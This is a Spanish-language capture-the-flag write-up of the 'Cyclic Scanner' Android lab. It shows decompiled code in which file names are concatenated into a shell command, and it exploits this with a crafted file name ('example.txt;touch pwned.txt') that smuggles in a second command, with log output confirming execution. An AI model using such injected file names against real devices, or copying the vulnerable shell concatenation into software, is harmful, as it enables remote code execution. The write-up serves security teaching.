Post

Cyclic Scanner

¡Bienvenido al desafío Cyclic Scanner! Este laboratorio está diseñado para imitar situaciones reales en las que las vulnerabilidades de los servicios de Android dan lugar a situaciones explotables. Los participantes tendrán la oportunidad de explotar estas vulnerabilidades para lograr la ejecución remota de código (RCE) en un dispositivo Android.

Cyclic Scanner

Information

Exploit a vulnerability inherent within an Android service to achieve remote code execution.


Application Analysis

FILE INFORMATIONAPP INFORMATION
File Name: com.mobilehackinglab.cyclicscanner.apkApp Name: Cyclic Scanner
Size: 11.33MBPackage Name: com.mobilehackinglab.cyclicscanner
MD5 0e3232f37cb0f986014e4c767ea0d420Main Activity: com.mobilehackinglab.cyclicscanner.MainActivity
SHA1: d9cd0a100731389b8bfbf9a019d70a65e8f6016cTarget SDK: 33 Min SDK: 30
SHA256: 2a01bfe39237c3cc0118bf845fb6c3da75f2ad0ace918d207977d6766adf3750Android Version Name: 1.0 Android Version Code: 1

Luego de installar y abrir la aplicacion, se puede apreciar una unica funcionalidad. Un swich en estado off, al cambiar su estado a on aparece un mensage Toast:

Scan service started, your device will be scanned regularly.

Parecería ser que se a iniciado un Service y que algunas acciones se estan ejecutando en segundo plano. Volver el swich a off no parece ser posible, indicando tambien por otro mensage Toast:

“Scan service cannot be stopped, this is for your own safety!”


En el análisis del archivo AndroidManifest.xml detecté varios puntos relevantes.

Está declarado el permiso MANAGE_EXTERNAL_STORAGE, que concede a la aplicación capacidad para leer y escribir en directorios compartidos del almacenamiento externo.

1
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />

También aparece android:debuggable="true". Esta configuración habilita la depuración de la aplicación. La cual facilita la ingeniería inversa y puede exponer información interna sensible si no se tomaron las precauciones adecuadas (CWE-489).

Al ejecutar la aplicacion en modo depuración, son visibles varias salidas de System.out, donde algunas comprobaciones de archivos parecen llevarse a cabo.

1
2
3
4
5
6
7
8
9
10
❯ adb logcat --pid=22141

02-18 02:50:21.465 22141 22205 I System.out: starting file scan...
02-18 02:50:21.482 22141 22205 I System.out: /storage/emulated/0/Music/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.488 22141 22205 I System.out: /storage/emulated/0/Music/.thumbnails/.nomedia...SAFE
02-18 02:50:21.495 22141 22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.502 22141 22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.nomedia...SAFE
02-18 02:50:21.509 22141 22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.517 22141 22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.nomedia...SAFE
02-18 02:50:21.518 22141 22205 I System.out: finished file scan!

Al revisar MainActivity se confirma el comportamiento observado anteriormente.

El metodo setupSwitch$lambda$3 implementa la lógica asociada al switch.

Si el mismo es activado, su estado cambia a isChecked == true. Y proccede a mostrar el Toast indicando que el servicio fue iniciado. Luego, invoca startForegroundService() con un Intent dirigido a ScanService.

Cuando el usuario intenta desactivar el switch, la lógica no detiene el servicio. En cambio, fuerza el estado del switch a true mediante setChecked(true).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final void setupSwitch$lambda$3(MainActivity this$0, CompoundButton compoundButton, boolean isChecked) {
    Intrinsics.checkNotNullParameter(this$0, "this$0");
    if (isChecked) {
        Toast.makeText(this$0, "Scan service started, your device will be scanned regularly.", 0).show();
        this$0.startForegroundService(new Intent(this$0, (Class<?>) ScanService.class));
        return;
    }
    Toast.makeText(this$0, "Scan service cannot be stopped, this is for your own safety!", 0).show();
    ActivityMainBinding activityMainBinding = this$0.binding;
    if (activityMainBinding == null) {
        Intrinsics.throwUninitializedPropertyAccessException("binding");
        activityMainBinding = null;
    }
    activityMainBinding.serviceSwitch.setChecked(true);
}

La clase ScanService implementa un Service el cual realiza un escaneo ficheros de forma periódica.

Mediante Environment.getExternalStorageDirectory() la aplicación accede al almacenamiento externo. A partir de un bucle, la clase ScanEngine realiza una serie de comprobaciones para verificar si los archivos son seguros.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try {
    System.out.println((Object) "starting file scan...");
    File externalStorageDirectory = Environment.getExternalStorageDirectory();
    Intrinsics.checkNotNullExpressionValue(externalStorageDirectory, "getExternalStorageDirectory(...)");
    Sequence $this$forEach$iv = FilesKt.walk$default(externalStorageDirectory, null, 1, null);
    for (Object element$iv : $this$forEach$iv) {
        File file = (File) element$iv;
        if (file.canRead() && file.isFile()) {
            System.out.print((Object) (file.getAbsolutePath() + "..."));
            boolean safe = ScanEngine.INSTANCE.scanFile(file);
            System.out.println((Object) (safe ? "SAFE" : "INFECTED"));
        }
    }
    System.out.println((Object) "finished file scan!");
}

La clase ScanEngine identifica malware comparando hashes hardcodeados. Para ello la aplicación recorre directorios compartidos y por cada fichero, construye y ejecuta un comando que obtiene el hash del fichero y lo valida contra la lista incorporada en el codigo.

El problema reside en cómo se construye la cadena que se envía directamente al intérprete de comandos. ScanService recorre /sdcard/ y pasa el nombre de cada fichero a ScanEngine, que lo concatena en a un commando de shell.

Si el nombre del fichero contiene caracteres especiales, el intérprete podra ejecutar comandos adicionales, lo que constituye una vulnerabilidad de tipo OS Command Injection (CWE-78).

1
2
String command = "toybox sha1sum " + file.getAbsolutePath();
Process process = new ProcessBuilder(new String[0]).command("sh", "-c", command).directory(Environment.getExternalStorageDirectory()).redirectErrorStream(true).start();

Execution

De tal forma, es posible desarrollar una aplicación cuya única función sea crear un archivo con un nombre especialmente construido, concatenando un comando adicional al nombre original.

1
String fileName = "example.txt;" + userCommand;

En el campo Input Command el usuario escribe el comando que desea ejecutar, por ejemplo touch pwned.txt.

El comando se incorpora con el nomabre del archivo example.txt.

1
2
❯ adb shell ls /sdcard/Download/
example.txt;touch pwned.txt

Y se guarda en un directorio donde la aplicacion vulnerable relize su escaneo.

1
2
3
4
5
6
7
8
9
10
11
12
❯ adb logcat --pid=22141

02-18 05:45:57.662  22141  22205 I System.out: starting file scan...
02-18 05:45:51.671  22141  22205 I System.out: /storage/emulated/0/Download/example.txt;touch pwned.txt...SAFE
02-18 05:45:51.679  22141  22205 I System.out: /storage/emulated/0/Music/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.686  22141  22205 I System.out: /storage/emulated/0/Music/.thumbnails/.nomedia...SAFE
02-18 05:45:51.693  22141  22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.701  22141  22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.nomedia...SAFE
02-18 05:45:51.708  22141  22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.715  22141  22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.nomedia...SAFE
02-18 05:45:51.722  22141  22205 I System.out: /storage/emulated/0/pwned.txt...SAFE
02-18 05:45:51.722  22141  22205 I System.out: finished file scan!

El interprete encontrara el ; y ejecutara el comando touch de manera exitosa. Confirmando que la aplicacion Cyclic Scanner es vulnerble a Remote Code Execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ adb shell ls /sdcard/
Alarms
Android
Audiobooks
DCIM
Documents
Download
Movies
Music
Notifications
Pictures
Podcasts
Recordings
Ringtones
pwned.txt

Common Weakness

CWE IDNameDescription
CWE-489Active Debug CodeThe product is released with debugging code still enabled or active.
CWE-78OS Command InjectionThe product constructs all or part of an OS command using externally-influenced input from an upstream component.

MITRE ATT&CK Matrix

This post is licensed under CC BY 4.0 by the author.